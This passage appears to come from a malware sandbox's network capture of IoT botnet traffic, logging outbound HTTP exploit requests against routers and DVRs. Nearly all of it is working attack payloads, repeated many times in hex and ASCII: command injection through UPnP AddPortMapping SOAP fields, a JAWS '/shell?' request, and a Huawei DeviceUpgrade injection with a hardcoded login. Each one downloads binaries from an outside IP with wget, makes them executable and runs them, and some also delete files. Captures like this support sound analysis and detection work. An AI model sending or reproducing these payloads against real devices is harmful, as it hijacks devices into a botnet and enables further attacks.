                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      80192.168.2.155946434.43.50.1725501
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:34.633815050 CET273OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      81192.168.2.1559272208.94.216.155501
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:34.726917982 CET273OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      82192.168.2.153540238.207.232.805501
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:34.892643929 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:27:39.065634012 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:27:45.209456921 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:27:57.241081953 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:28:21.560416937 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:29:10.710979939 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      83192.168.2.1555700185.87.147.2452869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:34.980362892 CET971OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      84192.168.2.154326037.98.0.635501
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:35.135867119 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:27:35.897727013 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:27:37.369626045 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:27:40.345612049 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:27:46.233392954 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:27:58.009041071 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:28:21.560415030 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:29:08.662992954 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      85192.168.2.153379445.192.192.6552869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:37.380954981 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      86192.168.2.1556714185.146.172.18752869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:37.469191074 CET971OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      87192.168.2.1556720185.146.172.18752869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:37.556521893 CET971OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      88192.168.2.1551930156.254.65.11637215
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:37.682171106 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:39.289592981 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
